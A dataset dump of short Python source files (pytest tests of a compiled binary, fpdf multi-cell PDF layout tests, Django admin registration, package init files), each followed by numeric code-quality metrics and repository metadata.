from .three_nn import three_nn
__all__ = ['three_nn', 'three_interpolate']
| 28.833333
| 48
| 0.797688
| 23
| 173
| 5.565217
| 0.478261
| 0.375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115607
| 173
| 5
| 49
| 34.6
| 0.836601
| 0.260116
| 0
| 0
| 0
| 0
| 0.198413
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7ae53912429fafd7e45dbc7f46b7c6000c4df181
| 1,485
|
py
|
Python
|
test_digit.py
|
zhongef/LLVM-Mutate-Passes
|
68f83d10f7c7695560c886a013e0adda0cb96d26
|
[
"MIT"
] | null | null | null |
test_digit.py
|
zhongef/LLVM-Mutate-Passes
|
68f83d10f7c7695560c886a013e0adda0cb96d26
|
[
"MIT"
] | null | null | null |
test_digit.py
|
zhongef/LLVM-Mutate-Passes
|
68f83d10f7c7695560c886a013e0adda0cb96d26
|
[
"MIT"
] | null | null | null |
import os
import sys
import getopt
import subprocess
import tempfile
import string
import os
import os.path
import pytest
@pytest.mark.digit
def test_binary_0(get_file):
assert os.system(fr"{get_file} 0") == 0
@pytest.mark.digit
def test_binary_1(get_file):
assert os.system(fr"{get_file} 1") == 0
@pytest.mark.digit
def test_binary_2(get_file):
assert os.system(fr"{get_file} 2") == 0
@pytest.mark.digit
def test_binary_3(get_file):
assert os.system(fr"{get_file} 3") == 0
@pytest.mark.digit
def test_binary_4(get_file):
assert os.system(fr"{get_file} 4") == 0
@pytest.mark.digit
def test_binary_5(get_file):
assert os.system(fr"{get_file} 5") == 0
@pytest.mark.digit
def test_binary_6(get_file):
assert os.system(fr"{get_file} 6") == 0
@pytest.mark.digit
def test_binary_7(get_file):
assert os.system(fr"{get_file} 7") == 0
@pytest.mark.digit
def test_binary_8(get_file):
assert os.system(fr"{get_file} 8") == 0
@pytest.mark.digit
def test_binary_9(get_file):
assert os.system(fr"{get_file} 9") == 0
@pytest.mark.digit
def test_binary_LargeInt(get_file):
assert os.system(fr"{get_file} 21474836") == 0
@pytest.mark.digit
def test_binary_INT_MAX(get_file):
assert os.system(fr"{get_file} 2147483647") == 0
@pytest.mark.digit
def test_binary_LONGINT_MAX(get_file):
assert os.system(fr"{get_file} 9,223,372,036,854,775,807") == 0
@pytest.fixture()
def get_file(request):
return request.config.getoption("--file")
| 22.846154
| 67
| 0.719192
| 259
| 1,485
| 3.911197
| 0.177606
| 0.186575
| 0.192498
| 0.230997
| 0.764067
| 0.764067
| 0.736426
| 0.392892
| 0.096742
| 0
| 0
| 0.054475
| 0.13468
| 1,485
| 65
| 68
| 22.846154
| 0.733852
| 0
| 0
| 0.294118
| 0
| 0
| 0.135935
| 0.016824
| 0
| 0
| 0
| 0
| 0.254902
| 1
| 0.27451
| false
| 0
| 0.176471
| 0.019608
| 0.470588
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7ae8cebd159eaeba933d13fc42e2d608ca462f68
| 35
|
py
|
Python
|
bonder/__main__.py
|
gkrizek/bond
|
c87d81fca09b056167e8f0a2db63b1338b9c7622
|
[
"Apache-2.0"
] | null | null | null |
bonder/__main__.py
|
gkrizek/bond
|
c87d81fca09b056167e8f0a2db63b1338b9c7622
|
[
"Apache-2.0"
] | null | null | null |
bonder/__main__.py
|
gkrizek/bond
|
c87d81fca09b056167e8f0a2db63b1338b9c7622
|
[
"Apache-2.0"
] | null | null | null |
from .index import bonder
bonder()
| 11.666667
| 25
| 0.771429
| 5
| 35
| 5.4
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 35
| 2
| 26
| 17.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
7ae97431024f03b05c9be23381549f75b32ce954
| 122
|
py
|
Python
|
otawa/costs/__init__.py
|
aurelienserre/otawa
|
9c7cebc8964b75c783261a7065eb823533ec691c
|
[
"BSD-3-Clause"
] | null | null | null |
otawa/costs/__init__.py
|
aurelienserre/otawa
|
9c7cebc8964b75c783261a7065eb823533ec691c
|
[
"BSD-3-Clause"
] | null | null | null |
otawa/costs/__init__.py
|
aurelienserre/otawa
|
9c7cebc8964b75c783261a7065eb823533ec691c
|
[
"BSD-3-Clause"
] | null | null | null |
from .costl2 import CostL2
from .costl2_sos import CostL2SOS
from .costar import CostAR
from .costar_sos import CostARSOS
| 24.4
| 33
| 0.836066
| 18
| 122
| 5.555556
| 0.388889
| 0.2
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037736
| 0.131148
| 122
| 4
| 34
| 30.5
| 0.90566
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7aec53f00933b0be9cbe4562bc0f0a9531015eb6
| 10,824
|
py
|
Python
|
SMSProject/venv/Lib/site-packages/test/cells/test_multi_cell.py
|
LourencoFernando/SMS-Project
|
f8e13dafdb41aa01f79337819cc3033a532410e8
|
[
"MIT"
] | null | null | null |
SMSProject/venv/Lib/site-packages/test/cells/test_multi_cell.py
|
LourencoFernando/SMS-Project
|
f8e13dafdb41aa01f79337819cc3033a532410e8
|
[
"MIT"
] | null | null | null |
SMSProject/venv/Lib/site-packages/test/cells/test_multi_cell.py
|
LourencoFernando/SMS-Project
|
f8e13dafdb41aa01f79337819cc3033a532410e8
|
[
"MIT"
] | null | null | null |
from pathlib import Path
import fpdf
from test.conftest import assert_pdf_equal
HERE = Path(__file__).resolve().parent
TEXT_SIZE, SPACING = 36, 1.15
LINE_HEIGHT = TEXT_SIZE * SPACING
TABLE_DATA = (
("First name", "Last name", "Age", "City"),
("Jules", "Smith", "34", "San Juan"),
("Mary", "Ramos", "45", "Orlando"),
("Carlson", "Banks", "19", "Los Angeles"),
("Lucas", "Cimon", "31", "Angers"),
)
def test_ln_positioning_and_page_breaking_for_multicell(tmp_path):
doc = fpdf.FPDF(format="letter", unit="pt")
doc.add_page()
doc.set_font("helvetica", size=TEXT_SIZE)
text = (
"Lorem ipsum Ut nostrud irure reprehenderit anim nostrud dolore sed "
"ut Excepteur dolore ut sunt irure consectetur tempor eu tempor "
"nostrud dolore sint exercitation aliquip velit ullamco esse dolore "
"mollit ea sed voluptate commodo amet eiusmod incididunt Excepteur "
"Excepteur officia est ea dolore sed id in cillum incididunt quis ex "
"id aliqua ullamco reprehenderit cupidatat in quis pariatur ex et "
"veniam consectetur et minim minim nulla ea in quis Ut in "
"consectetur cillum aliquip pariatur qui quis sint reprehenderit "
"anim incididunt laborum dolor dolor est dolor fugiat ut officia do "
"dolore deserunt nulla voluptate officia mollit elit consequat ad "
"aliquip non nulla dolor nisi magna consectetur anim sint officia "
"sit tempor anim do laboris ea culpa eu veniam sed cupidatat in anim "
"fugiat culpa enim Ut cillum in exercitation magna nostrud aute "
"proident laboris est ullamco nulla occaecat nulla proident "
"consequat in ut labore non sit id cillum ut ea quis est ut dolore "
"nisi aliquip aute pariatur ullamco ut cillum Duis nisi elit sit "
"cupidatat do Ut aliqua irure sunt sunt proident sit aliqua in "
"dolore Ut in sint sunt exercitation aliquip elit velit dolor nisi "
)
doc.multi_cell(w=144, h=LINE_HEIGHT, border=1, txt=text[:29], ln=0)
doc.multi_cell(w=180, h=LINE_HEIGHT, border=1, txt=text[29:60], ln=2)
doc.multi_cell(w=144, h=LINE_HEIGHT, border=1, txt=text[60:90], ln=1)
doc.cell(w=72 * 5, h=LINE_HEIGHT, border=1, ln=1, txt=text[0:30])
doc.cell(w=72 * 5, h=LINE_HEIGHT, border=1, ln=1, txt=text[31:60])
doc.cell(w=72 * 5, h=LINE_HEIGHT, border=1, ln=1, txt=text[61:90])
doc.cell(w=72 * 5, h=LINE_HEIGHT, border=1, ln=1, txt=text[91:120])
doc.cell(w=72 * 5, h=LINE_HEIGHT, border=1)
doc.cell(w=1, h=LINE_HEIGHT, ln=2)
doc.multi_cell(w=144, h=LINE_HEIGHT, border=1, txt=text[30:90], ln=2)
doc.cell(w=72 * 2, h=LINE_HEIGHT, border=1, ln=2, txt="Lorem ipsum")
doc.cell(w=72 * 2, h=LINE_HEIGHT, border=1, ln=2, txt="Lorem ipsum")
assert_pdf_equal(
doc, HERE / "ln_positioning_and_page_breaking_for_multicell.pdf", tmp_path
)
def test_multi_cell_ln_0(tmp_path):
doc = fpdf.FPDF()
doc.add_page()
doc.set_font("helvetica", size=TEXT_SIZE)
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, txt="Lorem")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, txt="ipsum")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, txt="Ut")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, txt="nostrud")
assert_pdf_equal(doc, HERE / "multi_cell_ln_0.pdf", tmp_path)
def test_multi_cell_ln_1(tmp_path):
doc = fpdf.FPDF()
doc.add_page()
doc.set_font("helvetica", size=TEXT_SIZE)
doc.multi_cell(w=100, h=LINE_HEIGHT, border=1, txt="Lorem ipsum", ln=1)
doc.multi_cell(w=100, h=LINE_HEIGHT, border=1, txt="Ut nostrud irure")
assert_pdf_equal(doc, HERE / "multi_cell_ln_1.pdf", tmp_path)
def test_multi_cell_ln_3(tmp_path):
doc = fpdf.FPDF()
doc.add_page()
doc.set_font("helvetica", size=TEXT_SIZE)
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, ln=3, txt="Lorem")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, ln=3, txt="ipsum")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, ln=3, txt="Ut")
doc.multi_cell(w=45, h=LINE_HEIGHT, border=1, ln=3, txt="nostrud")
assert_pdf_equal(doc, HERE / "multi_cell_ln_3.pdf", tmp_path)
def test_multi_cell_ln_3_table(tmp_path):
"""
Test rendering of a table with multi-lines cell contents
cf. https://github.com/PyFPDF/fpdf2/issues/63
"""
pdf = fpdf.FPDF()
pdf.add_page()
pdf.set_font("Times", size=10)
line_height = pdf.font_size * 2.5
# Set column width to 1/4 of effective page width to distribute content
# evenly across table and page
col_width = pdf.epw / 4
for row in TABLE_DATA:
for datum in row:
pdf.multi_cell(
col_width,
line_height,
str(datum),
border=1,
ln=3,
max_line_height=pdf.font_size,
)
pdf.ln(line_height)
assert_pdf_equal(pdf, HERE / "multi_cell_ln_3_table.pdf", tmp_path)
def test_multi_cell_table_with_automatic_page_break(tmp_path): # issue 120
pdf = fpdf.FPDF()
pdf.add_page()
pdf.set_font("Times", size=16)
line_height = pdf.font_size * 2
col_width = pdf.epw / 4 # distribute content evenly
for _ in range(5): # repeat table 5 times
for row in TABLE_DATA:
for datum in row:
pdf.multi_cell(
col_width,
line_height,
datum,
border=1,
ln=3,
max_line_height=pdf.font_size,
)
pdf.ln(line_height)
assert_pdf_equal(
pdf, HERE / "test_multi_cell_table_with_automatic_page_break.pdf", tmp_path
)
def test_multi_cell_table_unbreakable(tmp_path): # issue 111
pdf = fpdf.FPDF()
pdf.add_page()
pdf.set_font("Times", size=16)
line_height = pdf.font_size * 2
col_width = pdf.epw / 4 # distribute content evenly
for i in range(5): # repeat table 5 times
with pdf.unbreakable() as pdf:
for row in TABLE_DATA:
for datum in row:
pdf.multi_cell(
col_width, line_height, f"{datum} ({i})", border=1, ln=3
)
pdf.ln(line_height)
pdf.ln(line_height * 2)
assert_pdf_equal(pdf, HERE / "multi_cell_table_unbreakable.pdf", tmp_path)
def test_multi_cell_justified_with_unicode_font(tmp_path): # issue 118
pdf = fpdf.FPDF()
pdf.add_page()
pdf.add_font("DejaVu", "", HERE / "../fonts/DejaVuSans.ttf", uni=True)
pdf.set_font("DejaVu", "", 14)
text = 'Justified line containing "()" that is long enough to trigger wrapping and a line jump'
pdf.multi_cell(w=0, h=8, txt=text, ln=1)
assert_pdf_equal(
pdf, HERE / "test_multi_cell_justified_with_unicode_font.pdf", tmp_path
)
def test_multi_cell_table_unbreakable2(tmp_path): # issue 120 - 2nd snippet
table = {
"A": "test_lin_o_00000_001",
"B": "3",
"C": "4",
"D": "test_lin_o_00000",
"E": "7",
"F": "test_lin_o_00000",
"G": "test_lin",
"H": "test_lin",
}
pdf = fpdf.FPDF()
pdf.add_page()
pdf.set_margins(20, 20)
pdf.set_font("Times", "B", size=7)
line_height = pdf.font_size * 3
col_width = pdf.epw / 8
for header in table:
pdf.multi_cell(
col_width,
line_height,
header,
border=1,
ln=3,
max_line_height=pdf.font_size,
align="C",
)
pdf.ln(line_height)
pdf.set_font(style="")
line_height = pdf.font_size * 10
col_width = pdf.epw / 8
for _ in range(11):
with pdf.unbreakable():
for cell in table.values():
pdf.multi_cell(
col_width,
line_height,
cell,
border=1,
ln=3,
max_line_height=pdf.font_size,
align="C",
)
pdf.ln(line_height)
assert_pdf_equal(pdf, HERE / "multi_cell_table_unbreakable2.pdf", tmp_path)
## Code used to create test
# doc = fpdf.FPDF(format = 'letter', unit = 'pt')
# set_doc_date_0(doc)
# doc.add_page()
# line_height = TEXT_SIZE * spacing
# doc.set_font('helvetica', size=TEXT_SIZE)
# text = ('Lorem ipsum Ut nostrud irure reprehenderit anim nostrud dolore sed '
# 'ut Excepteur dolore ut sunt irure consectetur tempor eu tempor '
# 'nostrud dolore sint exercitation aliquip velit ullamco esse dolore '
# 'mollit ea sed voluptate commodo amet eiusmod incididunt Excepteur '
# 'Excepteur officia est ea dolore sed id in cillum incididunt quis ex '
# 'id aliqua ullamco reprehenderit cupidatat in quis pariatur ex et '
# 'veniam consectetur et minim minim nulla ea in quis Ut in '
# 'consectetur cillum aliquip pariatur qui quis sint reprehenderit '
# 'anim incididunt laborum dolor dolor est dolor fugiat ut officia do '
# 'dolore deserunt nulla voluptate officia mollit elit consequat ad '
# 'aliquip non nulla dolor nisi magna consectetur anim sint officia '
# 'sit tempor anim do laboris ea culpa eu veniam sed cupidatat in anim '
# 'fugiat culpa enim Ut cillum in exercitation magna nostrud aute '
# 'proident laboris est ullamco nulla occaecat nulla proident '
# 'consequat in ut labore non sit id cillum ut ea quis est ut dolore '
# 'nisi aliquip aute pariatur ullamco ut cillum Duis nisi elit sit '
# 'cupidatat do Ut aliqua irure sunt sunt proident sit aliqua in '
# 'dolore Ut in sint sunt exercitation aliquip elit velit dolor nisi ')
# # ln = 0: to the right
# doc.multi_cell(w = 144, h = LINE_HEIGHT, border = 1, txt = text[:29],
# fill = 0, link = '', ln = 0)
# # ln = 2: below last item (left and down)
# doc.multi_cell(w = 180, h = LINE_HEIGHT, border = 1, txt = text[29:60],
# fill = 0, link = '', ln = 2)
# # ln = 1: to new line, left margin
# doc.multi_cell(w = 144, h = LINE_HEIGHT, border = 1, txt = text[60:90],
# fill = 0, link = '', ln = 1)
# doc.cell(w = 72 * 5, h = LINE_HEIGHT, border = 1, ln = 1, txt = text[0:30])
# doc.cell(w = 72 * 5, h = LINE_HEIGHT, border = 1, ln = 1, txt = text[31:60])
# doc.cell(w = 72 * 5, h = LINE_HEIGHT, border = 1, ln = 1, txt = text[61:90])
# doc.cell(w = 72 * 5, h = LINE_HEIGHT, border = 1, ln = 1, txt = text[91:120])
# # move right
# doc.cell(w = 72 * 5, h = LINE_HEIGHT, border = 1, txt = '')
# # move down
# doc.cell(w = 1, h = LINE_HEIGHT, border = 0, ln = 2, txt = '')
# doc.multi_cell(w = 144, h = LINE_HEIGHT, border = 1, txt = text[30:90],
# fill = 0, link = '', ln = 2)
| 39.648352
| 99
| 0.620935
| 1,637
| 10,824
| 3.935858
| 0.149053
| 0.083812
| 0.054633
| 0.081794
| 0.82741
| 0.795903
| 0.786435
| 0.725438
| 0.672047
| 0.663045
| 0
| 0.039553
| 0.264228
| 10,824
| 272
| 100
| 39.794118
| 0.769463
| 0.268662
| 0
| 0.390374
| 0
| 0
| 0.246364
| 0.033299
| 0
| 0
| 0
| 0
| 0.053476
| 1
| 0.048128
| false
| 0
| 0.016043
| 0
| 0.064171
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
2487c5352d2e0f485344934ec6b7e2abedabf435
| 66
|
py
|
Python
|
ce_expansion/npdb/__init__.py
|
loevlie/ce_expansion
|
17417b9467914dd91ee8e0325cfdc3bd19ad7f1e
|
[
"MIT"
] | 1
|
2020-11-04T08:01:22.000Z
|
2020-11-04T08:01:22.000Z
|
ce_expansion/npdb/__init__.py
|
loevlie/ce_expansion
|
17417b9467914dd91ee8e0325cfdc3bd19ad7f1e
|
[
"MIT"
] | 2
|
2021-04-19T23:45:54.000Z
|
2022-02-21T17:40:41.000Z
|
ce_expansion/npdb/__init__.py
|
loevlie/ce_expansion
|
17417b9467914dd91ee8e0325cfdc3bd19ad7f1e
|
[
"MIT"
] | 3
|
2021-05-10T14:25:28.000Z
|
2022-02-18T01:09:05.000Z
|
from ce_expansion.npdb import base, datatables, db_inter, db_utils
| 66
| 66
| 0.848485
| 11
| 66
| 4.818182
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 66
| 1
| 66
| 66
| 0.883333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
24b46011e50458f3a61c33aaf5f6d381c17620ff
| 190
|
py
|
Python
|
api/admin.py
|
jaydeep11/advisorcallbookapi
|
a6a4784cd23e4044e14d4803b1aafd950ea8b6fb
|
[
"MIT"
] | null | null | null |
api/admin.py
|
jaydeep11/advisorcallbookapi
|
a6a4784cd23e4044e14d4803b1aafd950ea8b6fb
|
[
"MIT"
] | 4
|
2021-03-30T13:35:25.000Z
|
2021-09-22T19:12:25.000Z
|
api/admin.py
|
jaydeep11/advisorcallbookapi
|
a6a4784cd23e4044e14d4803b1aafd950ea8b6fb
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import User , Advisor , Booking
# Register your models here.
admin.site.register(User)
admin.site.register(Advisor)
admin.site.register(Booking)
| 31.666667
| 44
| 0.805263
| 27
| 190
| 5.666667
| 0.481481
| 0.176471
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 190
| 6
| 45
| 31.666667
| 0.894737
| 0.136842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
24dbdf228a3cdb58f02c308f4b3b8a7a2db0e09e
| 379
|
py
|
Python
|
172/test_curry.py
|
xtakacsx/bitesofpy
|
91487cbf58af5eb58a0343ff2231a90c1032acb0
|
[
"MIT"
] | 1
|
2020-01-10T00:05:34.000Z
|
2020-01-10T00:05:34.000Z
|
172/test_curry.py
|
xtakacsx/bitesofpy
|
91487cbf58af5eb58a0343ff2231a90c1032acb0
|
[
"MIT"
] | null | null | null |
172/test_curry.py
|
xtakacsx/bitesofpy
|
91487cbf58af5eb58a0343ff2231a90c1032acb0
|
[
"MIT"
] | null | null | null |
from curry import rounder_int, rounder_detailed
def test_rounder_int_partial():
assert rounder_int(1.3434587383) == 1
assert rounder_int(10.42342) == 10
assert rounder_int(1.99) == 2
def test_rounder_detailed_partial():
assert rounder_detailed(1.344587383) == 1.3446
assert rounder_detailed(10.42342) == 10.4234
assert rounder_detailed(1.99) == 1.9900
| 29.153846
| 50
| 0.736148
| 56
| 379
| 4.732143
| 0.357143
| 0.29434
| 0.181132
| 0.128302
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.191223
| 0.158311
| 379
| 13
| 51
| 29.153846
| 0.639498
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.666667
| 1
| 0.222222
| true
| 0
| 0.111111
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
24f1303a3f8b42a118eb902d5275912b74466eea
| 40
|
py
|
Python
|
droput_message/droput_msg/controller/__init__.py
|
hosein-yousefii/DROPUT
|
99a714f03a92b14228a3691ca6568ece0f0ea48c
|
[
"Apache-2.0"
] | 2
|
2022-03-17T08:08:07.000Z
|
2022-03-17T21:38:54.000Z
|
droput_message/droput_msg/controller/__init__.py
|
hosein-yousefii/DROPUT
|
99a714f03a92b14228a3691ca6568ece0f0ea48c
|
[
"Apache-2.0"
] | null | null | null |
droput_message/droput_msg/controller/__init__.py
|
hosein-yousefii/DROPUT
|
99a714f03a92b14228a3691ca6568ece0f0ea48c
|
[
"Apache-2.0"
] | null | null | null |
from droput_msg.controller import apiv1
| 20
| 39
| 0.875
| 6
| 40
| 5.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.027778
| 0.1
| 40
| 1
| 40
| 40
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
70087550c899539dbd4ac20cf515f2b723181b0c
| 108
|
py
|
Python
|
FoodScan/BarcodeSync/__init__.py
|
danielBreitlauch/FoodScan
|
cf84209c4da84a8cb56deccdbde9c305eee1b8c3
|
[
"MIT"
] | 1
|
2017-03-16T00:59:01.000Z
|
2017-03-16T00:59:01.000Z
|
FoodScan/BarcodeSync/__init__.py
|
danielBreitlauch/FoodScan
|
cf84209c4da84a8cb56deccdbde9c305eee1b8c3
|
[
"MIT"
] | null | null | null |
FoodScan/BarcodeSync/__init__.py
|
danielBreitlauch/FoodScan
|
cf84209c4da84a8cb56deccdbde9c305eee1b8c3
|
[
"MIT"
] | null | null | null |
from .BarcodeDecoder import *
from .barcodeReader import BarcodeReader
from .barcodeSync import BarcodeSync
| 27
| 40
| 0.851852
| 11
| 108
| 8.363636
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 108
| 3
| 41
| 36
| 0.958333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
70135f5b49049c75cfb17ec24f3f02b4f1a805aa
| 287
|
py
|
Python
|
docs/user_guide/operation/scripts/examples/helix/extraction/felix/EquilibrateThenIsolateDiodeColdfinger.py
|
ASUPychron/pychron
|
dfe551bdeb4ff8b8ba5cdea0edab336025e8cc76
|
[
"Apache-2.0"
] | 31
|
2016-03-07T02:38:17.000Z
|
2022-02-14T18:23:43.000Z
|
docs/user_guide/operation/scripts/examples/helix/extraction/felix/EquilibrateThenIsolateDiodeColdfinger.py
|
ASUPychron/pychron
|
dfe551bdeb4ff8b8ba5cdea0edab336025e8cc76
|
[
"Apache-2.0"
] | 1,626
|
2015-01-07T04:52:35.000Z
|
2022-03-25T19:15:59.000Z
|
docs/user_guide/operation/scripts/examples/helix/extraction/felix/EquilibrateThenIsolateDiodeColdfinger.py
|
UIllinoisHALPychron/pychron
|
f21b79f4592a9fb9dc9a4cb2e4e943a3885ededc
|
[
"Apache-2.0"
] | 26
|
2015-05-23T00:10:06.000Z
|
2022-03-07T16:51:57.000Z
|
def main():
# equilibrate then isolate cold finger
info('Equilibrate then isolate coldfinger')
close(name="C", description="Bone to Turbo")
sleep(1)
open(name="B", description="Bone to Diode Laser")
sleep(20)
close(name="B", description="Bone to Diode Laser")
| 31.888889
| 54
| 0.672474
| 39
| 287
| 4.948718
| 0.589744
| 0.233161
| 0.264249
| 0.207254
| 0.331606
| 0.331606
| 0.331606
| 0
| 0
| 0
| 0
| 0.012931
| 0.191638
| 287
| 8
| 55
| 35.875
| 0.818966
| 0.125436
| 0
| 0
| 0
| 0
| 0.35743
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| true
| 0
| 0
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
704004d7fc6987ccc8f1ffff57104c00f82bec36
| 264
|
py
|
Python
|
tests/modules/pehash/test_pehasher.py
|
CLEAR-seclab/viper
|
58189220119a85c7a660f160cc664822de2c8412
|
[
"BSD-3-Clause"
] | 2
|
2015-12-17T20:25:09.000Z
|
2017-10-08T19:14:57.000Z
|
tests/modules/pehash/test_pehasher.py
|
detrojones/viper
|
045e0952552fe29bb5e9780568486b36fd12e9ab
|
[
"BSD-3-Clause"
] | 1
|
2015-01-05T18:07:13.000Z
|
2015-01-07T21:43:57.000Z
|
tests/modules/pehash/test_pehasher.py
|
detrojones/viper
|
045e0952552fe29bb5e9780568486b36fd12e9ab
|
[
"BSD-3-Clause"
] | 3
|
2017-10-18T00:56:53.000Z
|
2020-05-24T09:38:54.000Z
|
# -*- coding: utf-8 -*-
# This file is part of Viper - https://github.com/viper-framework/viper
# See the file 'LICENSE' for copying permission.
from viper.modules.pehash import pehasher
def test_calculate_pehash():
assert pehasher.calculate_pehash() == ''
| 26.4
| 71
| 0.723485
| 36
| 264
| 5.222222
| 0.777778
| 0.159574
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004444
| 0.147727
| 264
| 9
| 72
| 29.333333
| 0.831111
| 0.522727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7059764b4e8f9db659089a71f901a4157424d2bc
| 56
|
py
|
Python
|
python3-efl-i386/usr/lib/python3.4/dist-packages/efl/__init__.py
|
Deepspeed/bodhi3packages
|
2d1c09780694ff7355e692137e33594836bc80cc
|
[
"BSD-3-Clause"
] | null | null | null |
python3-efl-i386/usr/lib/python3.4/dist-packages/efl/__init__.py
|
Deepspeed/bodhi3packages
|
2d1c09780694ff7355e692137e33594836bc80cc
|
[
"BSD-3-Clause"
] | null | null | null |
python3-efl-i386/usr/lib/python3.4/dist-packages/efl/__init__.py
|
